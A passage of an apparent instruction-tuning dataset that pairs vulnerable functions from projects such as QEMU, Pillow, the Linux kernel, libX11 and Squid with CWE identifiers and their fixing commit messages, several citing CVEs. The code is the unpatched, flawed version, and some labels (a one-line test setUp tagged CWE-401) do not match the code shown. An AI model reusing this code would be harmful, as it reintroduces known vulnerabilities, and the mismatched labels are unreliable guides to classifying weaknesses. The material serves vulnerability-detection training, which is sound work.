'cwe': ['CWE-770'], 'message': 'usb/redir: avoid dynamic stack allocation (CVE-2021-3527)\n\nUse autofree heap allocation instead.\n\nFixes: 4f4321c11ff (\"usb: use iovecs in USBPacket\")\nReviewed-by: Philippe Mathieu-Daud\u00e9 \nSigned-off-by: Gerd Hoffmann \nTested-by: Philippe Mathieu-Daud\u00e9 \nMessage-Id: <20210503132915.2335822-3-kraxel@redhat.com>'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: TEST(QueryProjectionTest, InvalidPositionalOperatorProjections) {\n assertInvalidProjection(\"{}\", \"{'a.$': 1}\");\n assertInvalidProjection(\"{a: 1}\", \"{'b.$': 1}\");\n assertInvalidProjection(\"{a: 1}\", \"{'a.$': 0}\");\n assertInvalidProjection(\"{a: 1}\", \"{'a.$.d.$': 1}\");\n assertInvalidProjection(\"{a: 1}\", \"{'a.$.$': 1}\");\n assertInvalidProjection(\"{a: 1, b: 1, c: 1}\", \"{'abc.$': 1}\");\n assertInvalidProjection(\"{$or: [{a: 1}, {$or: [{b: 1}, {c: 1}]}]}\", \"{'d.$': 1}\");\n assertInvalidProjection(\"{a: [1, 2, 3]}\", \"{'.$': 1}\");\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-732'], 'message': 'SERVER-53929 Add stricter parser checks around positional projection'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: ImagingFliDecode(Imaging im, ImagingCodecState state, UINT8 *buf, Py_ssize_t bytes) {\n UINT8 *ptr;\n int framesize;\n int c, chunks, advance;\n int l, lines;\n int i, j, x = 0, y, ymax;\n\n /* If not even the chunk size is present, we'd better leave */\n\n if (bytes < 4) {\n return 0;\n }\n\n /* We don't decode anything unless we have a full chunk in the\n input buffer */\n\n ptr = buf;\n\n framesize = I32(ptr);\n if (framesize < I32(ptr)) {\n return 0;\n }\n\n /* Make sure this is a frame chunk. The Python driver takes\n case of other chunk types. */\n\n if (bytes < 8) {\n state->errcode = IMAGING_CODEC_OVERRUN;\n return -1;\n }\n if (I16(ptr + 4) != 0xF1FA) {\n state->errcode = IMAGING_CODEC_UNKNOWN;\n return -1;\n }\n\n chunks = I16(ptr + 6);\n ptr += 16;\n bytes -= 16;\n\n /* Process subchunks */\n for (c = 0; c < chunks; c++) {\n UINT8 *data;\n if (bytes < 10) {\n state->errcode = IMAGING_CODEC_OVERRUN;\n return -1;\n }\n data = ptr + 6;\n switch (I16(ptr + 4)) {\n case 4:\n case 11:\n /* FLI COLOR chunk */\n break; /* ignored; handled by Python code */\n case 7:\n /* FLI SS2 chunk (word delta) */\n /* OOB ok, we've got 4 bytes min on entry */\n lines = I16(data);\n data += 2;\n for (l = y = 0; l < lines && y < state->ysize; l++, y++) {\n UINT8 *local_buf = (UINT8 *)im->image[y];\n int p, packets;\n ERR_IF_DATA_OOB(2)\n packets = I16(data);\n data += 2;\n while (packets & 0x8000) {\n /* flag word */\n if (packets & 0x4000) {\n y += 65536 - packets; /* skip lines */\n if (y >= state->ysize) {\n state->errcode = IMAGING_CODEC_OVERRUN;\n return -1;\n }\n local_buf = (UINT8 *)im->image[y];\n } else {\n /* store last byte (used if line width is odd) */\n local_buf[state->xsize - 1] = (UINT8)packets;\n }\n ERR_IF_DATA_OOB(2)\n packets = I16(data);\n data += 2;\n }\n for (p = x = 0; p < packets; p++) {\n ERR_IF_DATA_OOB(2)\n x += data[0]; /* pixel skip */\n if (data[1] >= 128) {\n ERR_IF_DATA_OOB(4)\n i = 256 - data[1]; /* run */\n if (x + i + i > state->xsize) {\n break;\n }\n for (j = 0; j < i; j++) {\n local_buf[x++] = data[2];\n local_buf[x++] = data[3];\n }\n data += 2 + 2;\n } else {\n i = 2 * (int)data[1]; /* chunk */\n if (x + i > state->xsize) {\n break;\n }\n ERR_IF_DATA_OOB(2 + i)\n memcpy(local_buf + x, data + 2, i);\n data += 2 + i;\n x += i;\n }\n }\n if (p < packets) {\n break; /* didn't process all packets */\n }\n }\n if (l < lines) {\n /* didn't process all lines */\n state->errcode = IMAGING_CODEC_OVERRUN;\n return -1;\n }\n break;\n case 12:\n /* FLI LC chunk (byte delta) */\n /* OOB Check ok, we have 4 bytes min here */\n y = I16(data);\n ymax = y + I16(data + 2);\n data += 4;\n for (; y < ymax && y < state->ysize; y++) {\n UINT8 *out = (UINT8 *)im->image[y];\n ERR_IF_DATA_OOB(1)\n int p, packets = *data++;\n for (p = x = 0; p < packets; p++, x += i) {\n ERR_IF_DATA_OOB(2)\n x += data[0]; /* skip pixels */\n if (data[1] & 0x80) {\n i = 256 - data[1]; /* run */\n if (x + i > state->xsize) {\n break;\n }\n ERR_IF_DATA_OOB(3)\n memset(out + x, data[2], i);\n data += 3;\n } else {\n i = data[1]; /* chunk */\n if (x + i > state->xsize) {\n break;\n }\n ERR_IF_DATA_OOB(2 + i)\n memcpy(out + x, data + 2, i);\n data += i + 2;\n }\n }\n if (p < packets) {\n break; /* didn't process all packets */\n }\n }\n if (y < ymax) {\n /* didn't process all lines */\n state->errcode = IMAGING_CODEC_OVERRUN;\n return -1;\n }\n break;\n case 13:\n /* FLI BLACK chunk */\n for (y = 0; y < state->ysize; y++) {\n memset(im->image[y], 0, state->xsize);\n }\n break;\n case 15:\n /* FLI BRUN chunk */\n /* OOB, ok, we've got 4 bytes min on entry */\n for (y = 0; y < state->ysize; y++) {\n UINT8 *out = (UINT8 *)im->image[y];\n data += 1; /* ignore packetcount byte */\n for (x = 0; x < state->xsize; x += i) {\n ERR_IF_DATA_OOB(2)\n if (data[0] & 0x80) {\n i = 256 - data[0];\n if (x + i > state->xsize) {\n break; /* safety first */\n }\n ERR_IF_DATA_OOB(i + 1)\n memcpy(out + x, data + 1, i);\n data += i + 1;\n } else {\n i = data[0];\n if (x + i > state->xsize) {\n break; /* safety first */\n }\n memset(out + x, data[1], i);\n data += 2;\n }\n }\n if (x != state->xsize) {\n /* didn't unpack whole line */\n state->errcode = IMAGING_CODEC_OVERRUN;\n return -1;\n }\n }\n break;\n case 16:\n /* COPY chunk */\n if (state->xsize > bytes / state->ysize) {\n /* not enough data for frame */\n return ptr - buf; /* bytes consumed */\n }\n for (y = 0; y < state->ysize; y++) {\n UINT8 *local_buf = (UINT8 *)im->image[y];\n memcpy(local_buf, data, state->xsize);\n data += state->xsize;\n }\n break;\n case 18:\n /* PSTAMP chunk */\n break; /* ignored */\n default:\n /* unknown chunk */\n /* printf(\"unknown FLI/FLC chunk: %d\\n\", I16(ptr+4)); */\n state->errcode = IMAGING_CODEC_UNKNOWN;\n return -1;\n }\n advance = I32(ptr);\n if (advance < 0 || advance > bytes) {\n state->errcode = IMAGING_CODEC_OVERRUN;\n return -1;\n }\n ptr += advance;\n bytes -= advance;\n }\n\n return -1; /* end of frame */\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-835'], 'message': 'Fix FLI DOS -- CVE-2021-28676\n\n* FliDecode did not properly check that the block advance was\n non-zero, potentally leading to an infinite loop on load.\n* This dates to the PIL Fork\n* Found with oss-fuzz'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static void *__bpf_ringbuf_reserve(struct bpf_ringbuf *rb, u64 size)\n{\n\tunsigned long cons_pos, prod_pos, new_prod_pos, flags;\n\tu32 len, pg_off;\n\tstruct bpf_ringbuf_hdr *hdr;\n\n\tif (unlikely(size > RINGBUF_MAX_RECORD_SZ))\n\t\treturn NULL;\n\n\tlen = round_up(size + BPF_RINGBUF_HDR_SZ, 8);\n\tcons_pos = smp_load_acquire(&rb->consumer_pos);\n\n\tif (in_nmi()) {\n\t\tif (!spin_trylock_irqsave(&rb->spinlock, flags))\n\t\t\treturn NULL;\n\t} else {\n\t\tspin_lock_irqsave(&rb->spinlock, flags);\n\t}\n\n\tprod_pos = rb->producer_pos;\n\tnew_prod_pos = prod_pos + len;\n\n\t/* check for out of ringbuf space by ensuring producer position\n\t * doesn't advance more than (ringbuf_size - 1) ahead\n\t */\n\tif (new_prod_pos - cons_pos > rb->mask) {\n\t\tspin_unlock_irqrestore(&rb->spinlock, flags);\n\t\treturn NULL;\n\t}\n\n\thdr = (void *)rb->data + (prod_pos & rb->mask);\n\tpg_off = bpf_ringbuf_rec_pg_off(rb, hdr);\n\thdr->len = size | BPF_RINGBUF_BUSY_BIT;\n\thdr->pg_off = pg_off;\n\n\t/* pairs with consumer's smp_load_acquire() */\n\tsmp_store_release(&rb->producer_pos, new_prod_pos);\n\n\tspin_unlock_irqrestore(&rb->spinlock, flags);\n\n\treturn (void *)hdr + BPF_RINGBUF_HDR_SZ;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-787'], 'message': 'bpf, ringbuf: Deny reserve of buffers larger than ringbuf\n\nA BPF program might try to reserve a buffer larger than the ringbuf size.\nIf the consumer pointer is way ahead of the producer, that would be\nsuccessfully reserved, allowing the BPF program to read or write out of\nthe ringbuf allocated area.\n\nReported-by: Ryota Shiga (Flatt Security)\nFixes: 457f44363a88 (\"bpf: Implement BPF ring buffer and verifier support for it\")\nSigned-off-by: Thadeu Lima de Souza Cascardo \nSigned-off-by: Daniel Borkmann \nAcked-by: Andrii Nakryiko \nAcked-by: Alexei Starovoitov '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int calipso_doi_remove(u32 doi, struct netlbl_audit *audit_info)\n{\n\tint ret_val;\n\tstruct calipso_doi *doi_def;\n\tstruct audit_buffer *audit_buf;\n\n\tspin_lock(&calipso_doi_list_lock);\n\tdoi_def = calipso_doi_search(doi);\n\tif (!doi_def) {\n\t\tspin_unlock(&calipso_doi_list_lock);\n\t\tret_val = -ENOENT;\n\t\tgoto doi_remove_return;\n\t}\n\tif (!refcount_dec_and_test(&doi_def->refcount)) {\n\t\tspin_unlock(&calipso_doi_list_lock);\n\t\tret_val = -EBUSY;\n\t\tgoto doi_remove_return;\n\t}\n\tlist_del_rcu(&doi_def->list);\n\tspin_unlock(&calipso_doi_list_lock);\n\n\tcall_rcu(&doi_def->rcu, calipso_doi_free_rcu);\n\tret_val = 0;\n\ndoi_remove_return:\n\taudit_buf = netlbl_audit_start(AUDIT_MAC_CALIPSO_DEL, audit_info);\n\tif (audit_buf) {\n\t\taudit_log_format(audit_buf,\n\t\t\t\t \" calipso_doi=%u res=%u\",\n\t\t\t\t doi, ret_val == 0 ? 1 : 0);\n\t\taudit_log_end(audit_buf);\n\t}\n\n\treturn ret_val;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-416'], 'message': 'cipso,calipso: resolve a number of problems with the DOI refcounts\n\nThe current CIPSO and CALIPSO refcounting scheme for the DOI\ndefinitions is a bit flawed in that we:\n\n1. Don't correctly match gets/puts in netlbl_cipsov4_list().\n2. Decrement the refcount on each attempt to remove the DOI from the\n DOI list, only removing it from the list once the refcount drops\n to zero.\n\nThis patch fixes these problems by adding the missing \"puts\" to\nnetlbl_cipsov4_list() and introduces a more conventional, i.e.\nnot-buggy, refcounting mechanism to the DOI definitions. Upon the\naddition of a DOI to the DOI list, it is initialized with a refcount\nof one, removing a DOI from the list removes it from the list and\ndrops the refcount by one; \"gets\" and \"puts\" behave as expected with\nrespect to refcounts, increasing and decreasing the DOI's refcount by\none.\n\nFixes: b1edeb102397 (\"netlabel: Replace protocol/NetLabel linking with refrerence counts\")\nFixes: d7cce01504a0 (\"netlabel: Add support for removing a CALIPSO DOI.\")\nReported-by: syzbot+9ec037722d2603a9f52e@syzkaller.appspotmail.com\nSigned-off-by: Paul Moore \nSigned-off-by: David S. Miller '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: XSetCommand (\n\tDisplay *dpy,\n\tWindow w,\n\tchar **argv,\n\tint argc)\n{\n\tregister int i;\n\tsize_t nbytes;\n\tregister char *buf, *bp;\n\tfor (i = 0, nbytes = 0; i < argc; i++) {\n\t\tnbytes += safestrlen(argv[i]) + 1;\n\t}\n\tif ((bp = buf = Xmalloc(nbytes))) {\n\t /* copy arguments into single buffer */\n\t for (i = 0; i < argc; i++) {\n\t\tif (argv[i]) {\n\t\t (void) strcpy(bp, argv[i]);\n\t\t bp += strlen(argv[i]) + 1;\n\t\t}\n\t\telse\n\t\t *bp++ = '\\0';\n\t }\n\t XChangeProperty (dpy, w, XA_WM_COMMAND, XA_STRING, 8,\n\t\t\t PropModeReplace, (unsigned char *)buf, nbytes);\n\t Xfree(buf);\n\t}\n\treturn 1;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-120'], 'message': 'Reject string longer than USHRT_MAX before sending them on the wire\n\nThe X protocol uses CARD16 values to represent the length so\nthis would overflow.\n\nCVE-2021-31535\n\nSigned-off-by: Matthieu Herrb '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: XQueryExtension(\n register Display *dpy,\n _Xconst char *name,\n int *major_opcode, /* RETURN */\n int *first_event, /* RETURN */\n int *first_error)\t/* RETURN */\n{\n xQueryExtensionReply rep;\n register xQueryExtensionReq *req;\n\n LockDisplay(dpy);\n GetReq(QueryExtension, req);\n req->nbytes = name ? (CARD16) strlen(name) : 0;\n req->length += (req->nbytes+(unsigned)3)>>2;\n _XSend(dpy, name, (long)req->nbytes);\n (void) _XReply (dpy, (xReply *)&rep, 0, xTrue);\n *major_opcode = rep.major_opcode;\n *first_event = rep.first_event;\n *first_error = rep.first_error;\n UnlockDisplay(dpy);\n SyncHandle();\n return (rep.present);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-120'], 'message': 'Reject string longer than USHRT_MAX before sending them on the wire\n\nThe X protocol uses CARD16 values to represent the length so\nthis would overflow.\n\nCVE-2021-31535\n\nSigned-off-by: Matthieu Herrb '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: void testCacheManager::setUp()\n{\n Mem::Init();\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-401'], 'message': 'Bug 5106: Broken cache manager URL parsing (#788)\n\nUse already parsed request-target URL in cache manager and\nupdate CacheManager to Tokanizer based URL parse\n\nRemoving use of sscan() and regex string processing which have\nproven to be problematic on many levels. Most particularly with\nregards to tolerance of normally harmless garbage syntax in URLs\nreceived.\n\nSupport for generic URI schemes is added possibly resolving some\nissues reported with ftp:// URL and manager access via ftp_port\nsockets.\n\nTruly generic support for /squid-internal-mgr/ path prefix is\nadded, fixing some user confusion about its use on cache_object:\nscheme URLs.\n\nTODO: support for single-name parameters and URL #fragments\nare left to future updates. As is refactoring the QueryParams\ndata storage to avoid SBuf data copying.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: Http::Stream::buildRangeHeader(HttpReply *rep)\n{\n HttpHeader *hdr = rep ? &rep->header : nullptr;\n const char *range_err = nullptr;\n HttpRequest *request = http->request;\n assert(request->range);\n /* check if we still want to do ranges */\n int64_t roffLimit = request->getRangeOffsetLimit();\n auto contentRange = rep ? rep->contentRange() : nullptr;\n\n if (!rep)\n range_err = \"no [parse-able] reply\";\n else if ((rep->sline.status() != Http::scOkay) && (rep->sline.status() != Http::scPartialContent))\n range_err = \"wrong status code\";\n else if (rep->sline.status() == Http::scPartialContent)\n range_err = \"too complex response\"; // probably contains what the client needs\n else if (rep->sline.status() != Http::scOkay)\n range_err = \"wrong status code\";\n else if (hdr->has(Http::HdrType::CONTENT_RANGE)) {\n Must(!contentRange); // this is a 200, not 206 response\n range_err = \"meaningless response\"; // the status code or the header is wrong\n }\n else if (rep->content_length < 0)\n range_err = \"unknown length\";\n else if (rep->content_length != http->memObject()->getReply()->content_length)\n range_err = \"INCONSISTENT length\"; /* a bug? */\n\n /* hits only - upstream CachePeer determines correct behaviour on misses,\n * and client_side_reply determines hits candidates\n */\n else if (http->logType.isTcpHit() &&\n http->request->header.has(Http::HdrType::IF_RANGE) &&\n !clientIfRangeMatch(http, rep))\n range_err = \"If-Range match failed\";\n\n else if (!http->request->range->canonize(rep))\n range_err = \"canonization failed\";\n else if (http->request->range->isComplex())\n range_err = \"too complex range header\";\n else if (!http->logType.isTcpHit() && http->request->range->offsetLimitExceeded(roffLimit))\n range_err = \"range outside range_offset_limit\";\n\n /* get rid of our range specs on error */\n if (range_err) {\n /* XXX We do this here because we need canonisation etc. However, this current\n * code will lead to incorrect store offset requests - the store will have the\n * offset data, but we won't be requesting it.\n * So, we can either re-request, or generate an error\n */\n http->request->ignoreRange(range_err);\n } else {\n /* XXX: TODO: Review, this unconditional set may be wrong. */\n rep->sline.set(rep->sline.version, Http::scPartialContent);\n // web server responded with a valid, but unexpected range.\n // will (try-to) forward as-is.\n //TODO: we should cope with multirange request/responses\n // TODO: review, since rep->content_range is always nil here.\n bool replyMatchRequest = contentRange != nullptr ?\n request->range->contains(contentRange->spec) :\n true;\n const int spec_count = http->request->range->specs.size();\n int64_t actual_clen = -1;\n\n debugs(33, 3, \"range spec count: \" << spec_count <<\n \" virgin clen: \" << rep->content_length);\n assert(spec_count > 0);\n /* append appropriate header(s) */\n if (spec_count == 1) {\n if (!replyMatchRequest) {\n hdr->putContRange(contentRange);\n actual_clen = rep->content_length;\n //http->range_iter.pos = rep->content_range->spec.begin();\n (*http->range_iter.pos)->offset = contentRange->spec.offset;\n (*http->range_iter.pos)->length = contentRange->spec.length;\n\n } else {\n HttpHdrRange::iterator pos = http->request->range->begin();\n assert(*pos);\n /* append Content-Range */\n\n if (!contentRange) {\n /* No content range, so this was a full object we are\n * sending parts of.\n */\n httpHeaderAddContRange(hdr, **pos, rep->content_length);\n }\n\n /* set new Content-Length to the actual number of bytes\n * transmitted in the message-body */\n actual_clen = (*pos)->length;\n }\n } else {\n /* multipart! */\n /* generate boundary string */\n http->range_iter.boundary = http->rangeBoundaryStr();\n /* delete old Content-Type, add ours */\n hdr->delById(Http::HdrType::CONTENT_TYPE);\n httpHeaderPutStrf(hdr, Http::HdrType::CONTENT_TYPE,\n \"multipart/byteranges; boundary=\\\"\" SQUIDSTRINGPH \"\\\"\",\n SQUIDSTRINGPRINT(http->range_iter.boundary));\n /* Content-Length is not required in multipart responses\n * but it is always nice to have one */\n actual_clen = http->mRangeCLen();\n\n /* http->out needs to start where we want data at */\n http->out.offset = http->range_iter.currentSpec()->offset;\n }\n\n /* replace Content-Length header */\n assert(actual_clen >= 0);\n hdr->delById(Http::HdrType::CONTENT_LENGTH);\n hdr->putInt64(Http::HdrType::CONTENT_LENGTH, actual_clen);\n debugs(33, 3, \"actual content length: \" << actual_clen);\n\n /* And start the range iter off */\n http->range_iter.updateSpec();\n }\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-116'], 'message': 'Handle more Range requests (#790)\n\nAlso removed some effectively unused code.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: read_yin_leaflist(struct lys_module *module, struct lys_node *parent, struct lyxml_elem *yin, int options,\n struct unres_schema *unres)\n{\n struct ly_ctx *ctx = module->ctx;\n struct lys_node *retval;\n struct lys_node_leaflist *llist;\n struct lyxml_elem *sub, *next;\n const char *value;\n char *endptr;\n unsigned long val;\n int r, has_type = 0;\n int c_must = 0, c_ftrs = 0, c_dflt = 0, c_ext = 0;\n int f_ordr = 0, f_min = 0, f_max = 0;\n void *reallocated;\n\n llist = calloc(1, sizeof *llist);\n LY_CHECK_ERR_RETURN(!llist, LOGMEM(ctx), NULL);\n\n llist->nodetype = LYS_LEAFLIST;\n llist->prev = (struct lys_node *)llist;\n retval = (struct lys_node *)llist;\n\n if (read_yin_common(module, parent, retval, LYEXT_PAR_NODE, yin,\n OPT_IDENT | OPT_MODULE | ((options & LYS_PARSE_OPT_CFG_IGNORE) ? OPT_CFG_IGNORE :\n (options & LYS_PARSE_OPT_CFG_NOINHERIT) ? OPT_CFG_PARSE : OPT_CFG_PARSE | OPT_CFG_INHERIT),\n unres)) {\n goto error;\n }\n\n LOGDBG(LY_LDGYIN, \"parsing %s statement \\\"%s\\\"\", yin->name, retval->name);\n\n /* insert the node into the schema tree */\n if (lys_node_addchild(parent, lys_main_module(module), retval, options)) {\n goto error;\n }\n\n LY_TREE_FOR_SAFE(yin->child, next, sub) {\n if (strcmp(sub->ns->value, LY_NSYIN)) {\n /* extension */\n YIN_CHECK_ARRAY_OVERFLOW_GOTO(ctx, c_ext, retval->ext_size, \"extensions\", \"leaf-list\", error);\n c_ext++;\n continue;\n } else if (!strcmp(sub->name, \"type\")) {\n if (has_type) {\n LOGVAL(ctx, LYE_TOOMANY, LY_VLOG_LYS, retval, sub->name, yin->name);\n goto error;\n }\n /* HACK for unres */\n llist->type.der = (struct lys_tpdf *)sub;\n llist->type.parent = (struct lys_tpdf *)llist;\n /* postpone type resolution when if-feature parsing is done since we need\n * if-feature for check_leafref_features() */\n has_type = 1;\n } else if (!strcmp(sub->name, \"units\")) {\n if (llist->units) {\n LOGVAL(ctx, LYE_TOOMANY, LY_VLOG_LYS, retval, sub->name, yin->name);\n goto error;\n }\n GETVAL(ctx, value, sub, \"name\");\n llist->units = lydict_insert(ctx, value, strlen(value));\n\n if (lyp_yin_parse_subnode_ext(module, retval, LYEXT_PAR_NODE, sub, LYEXT_SUBSTMT_UNITS, 0, unres)) {\n goto error;\n }\n } else if (!strcmp(sub->name, \"ordered-by\")) {\n if (f_ordr) {\n LOGVAL(ctx, LYE_TOOMANY, LY_VLOG_LYS, retval, sub->name, yin->name);\n goto error;\n }\n /* just checking the flags in llist is not sufficient, we would\n * allow multiple ordered-by statements with the \"system\" value\n */\n f_ordr = 1;\n\n if (llist->flags & LYS_CONFIG_R) {\n /* RFC 6020, 7.7.5 - ignore ordering when the list represents\n * state data\n */\n lyxml_free(ctx, sub);\n continue;\n }\n\n GETVAL(ctx, value, sub, \"value\");\n if (!strcmp(value, \"user\")) {\n llist->flags |= LYS_USERORDERED;\n } else if (strcmp(value, \"system\")) {\n LOGVAL(ctx, LYE_INARG, LY_VLOG_LYS, retval, value, sub->name);\n goto error;\n } /* else system is the default value, so we can ignore it */\n\n if (lyp_yin_parse_subnode_ext(module, retval, LYEXT_PAR_NODE, sub, LYEXT_SUBSTMT_ORDEREDBY, 0, unres)) {\n goto error;\n }\n } else if (!strcmp(sub->name, \"must\")) {\n YIN_CHECK_ARRAY_OVERFLOW_GOTO(ctx, c_must, llist->must_size, \"musts\", \"leaf-list\", error);\n c_must++;\n continue;\n } else if (!strcmp(sub->name, \"if-feature\")) {\n YIN_CHECK_ARRAY_OVERFLOW_GOTO(ctx, c_ftrs, retval->iffeature_size, \"if-features\", \"leaf-list\", error);\n c_ftrs++;\n continue;\n } else if ((module->version >= 2) && !strcmp(sub->name, \"default\")) {\n /* read the default's extension instances */\n if (lyp_yin_parse_subnode_ext(module, retval, LYEXT_PAR_NODE, sub, LYEXT_SUBSTMT_DEFAULT, c_dflt, unres)) {\n goto error;\n }\n\n YIN_CHECK_ARRAY_OVERFLOW_GOTO(ctx, c_dflt, llist->dflt_size, \"defaults\", \"leaf-list\", error);\n c_dflt++;\n continue;\n\n } else if (!strcmp(sub->name, \"min-elements\")) {\n if (f_min) {\n LOGVAL(ctx, LYE_TOOMANY, LY_VLOG_LYS, retval, sub->name, yin->name);\n goto error;\n }\n f_min = 1;\n\n GETVAL(ctx, value, sub, \"value\");\n while (isspace(value[0])) {\n value++;\n }\n\n /* convert it to uint32_t */\n errno = 0;\n endptr = NULL;\n val = strtoul(value, &endptr, 10);\n if (*endptr || value[0] == '-' || errno || val > UINT32_MAX) {\n LOGVAL(ctx, LYE_INARG, LY_VLOG_LYS, retval, value, sub->name);\n goto error;\n }\n llist->min = (uint32_t) val;\n if (llist->max && (llist->min > llist->max)) {\n LOGVAL(ctx, LYE_INARG, LY_VLOG_LYS, retval, value, sub->name);\n LOGVAL(ctx, LYE_SPEC, LY_VLOG_PREV, NULL, \"\\\"min-elements\\\" is bigger than \\\"max-elements\\\".\");\n goto error;\n }\n\n if (lyp_yin_parse_subnode_ext(module, retval, LYEXT_PAR_NODE, sub, LYEXT_SUBSTMT_MIN, 0, unres)) {\n goto error;\n }\n } else if (!strcmp(sub->name, \"max-elements\")) {\n if (f_max) {\n LOGVAL(ctx, LYE_TOOMANY, LY_VLOG_LYS, retval, sub->name, yin->name);\n goto error;\n }\n f_max = 1;\n\n GETVAL(ctx, value, sub, \"value\");\n while (isspace(value[0])) {\n value++;\n }\n\n if (!strcmp(value, \"unbounded\")) {\n llist->max = 0;\n } else {\n /* convert it to uint32_t */\n errno = 0;\n endptr = NULL;\n val = strtoul(value, &endptr, 10);\n if (*endptr || value[0] == '-' || errno || val == 0 || val > UINT32_MAX) {\n LOGVAL(ctx, LYE_INARG, LY_VLOG_LYS, retval, value, sub->name);\n goto error;\n }\n llist->max = (uint32_t) val;\n if (llist->min > llist->max) {\n LOGVAL(ctx, LYE_INARG, LY_VLOG_LYS, retval, value, sub->name);\n LOGVAL(ctx, LYE_SPEC, LY_VLOG_PREV, NULL, \"\\\"max-elements\\\" is smaller than \\\"min-elements\\\".\");\n goto error;\n }\n }\n\n if (lyp_yin_parse_subnode_ext(module, retval, LYEXT_PAR_NODE, sub, LYEXT_SUBSTMT_MAX, 0, unres)) {\n goto error;\n }\n } else if (!strcmp(sub->name, \"when\")) {\n if (llist->when) {\n LOGVAL(ctx, LYE_TOOMANY, LY_VLOG_LYS, retval, sub->name, yin->name);\n goto error;\n }\n\n llist->when = read_yin_when(module, sub, unres);\n if (!llist->when) {\n goto error;\n }\n } else {\n LOGVAL(ctx, LYE_INSTMT, LY_VLOG_LYS, retval, sub->name);\n goto error;\n }\n\n /* do not free sub, it could have been unlinked and stored in unres */\n }\n\n /* check constraints */\n if (!has_type) {\n LOGVAL(ctx, LYE_MISSCHILDSTMT, LY_VLOG_LYS, retval, \"type\", yin->name);\n goto error;\n }\n\n /* middle part - process nodes with cardinality of 0..n */\n if (c_must) {\n llist->must = calloc(c_must, sizeof *llist->must);\n LY_CHECK_ERR_GOTO(!llist->must, LOGMEM(ctx), error);\n }\n if (c_ftrs) {\n llist->iffeature = calloc(c_ftrs, sizeof *llist->iffeature);\n LY_CHECK_ERR_GOTO(!llist->iffeature, LOGMEM(ctx), error);\n }\n if (c_dflt) {\n llist->dflt = calloc(c_dflt, sizeof *llist->dflt);\n LY_CHECK_ERR_GOTO(!llist->dflt, LOGMEM(ctx), error);\n }\n if (c_ext) {\n /* some extensions may be already present from the substatements */\n reallocated = realloc(retval->ext, (c_ext + retval->ext_size) * sizeof *retval->ext);\n LY_CHECK_ERR_GOTO(!reallocated, LOGMEM(ctx), error);\n retval->ext = reallocated;\n\n /* init memory */\n memset(&retval->ext[retval->ext_size], 0, c_ext * sizeof *retval->ext);\n }\n\n LY_TREE_FOR_SAFE(yin->child, next, sub) {\n if (strcmp(sub->ns->value, LY_NSYIN)) {\n /* extension */\n r = lyp_yin_fill_ext(retval, LYEXT_PAR_NODE, 0, 0, module, sub, &retval->ext, &retval->ext_size, unres);\n if (r) {\n goto error;\n }\n } else if (!strcmp(sub->name, \"must\")) {\n r = fill_yin_must(module, sub, &llist->must[llist->must_size], unres);\n llist->must_size++;\n if (r) {\n goto error;\n }\n } else if (!strcmp(sub->name, \"if-feature\")) {\n r = fill_yin_iffeature(retval, 0, sub, &llist->iffeature[llist->iffeature_size], unres);\n llist->iffeature_size++;\n if (r) {\n goto error;\n }\n } else if (!strcmp(sub->name, \"default\")) {\n GETVAL(ctx, value, sub, \"value\");\n\n /* check for duplicity in case of configuration data,\n * in case of status data duplicities are allowed */\n if (llist->flags & LYS_CONFIG_W) {\n for (r = 0; r < llist->dflt_size; r++) {\n if (ly_strequal(llist->dflt[r], value, 1)) {\n LOGVAL(ctx, LYE_INARG, LY_VLOG_LYS, retval, value, \"default\");\n LOGVAL(ctx, LYE_SPEC, LY_VLOG_PREV, NULL, \"Duplicated default value \\\"%s\\\".\", value);\n goto error;\n }\n }\n }\n llist->dflt[llist->dflt_size++] = lydict_insert(ctx, value, strlen(value));\n }\n }\n\n lyp_reduce_ext_list(&retval->ext, retval->ext_size, c_ext + retval->ext_size);\n\n /* finalize type parsing */\n if (unres_schema_add_node(module, unres, &llist->type, UNRES_TYPE_DER, retval) == -1) {\n llist->type.der = NULL;\n goto error;\n }\n\n if (llist->dflt_size && llist->min) {\n LOGVAL(ctx, 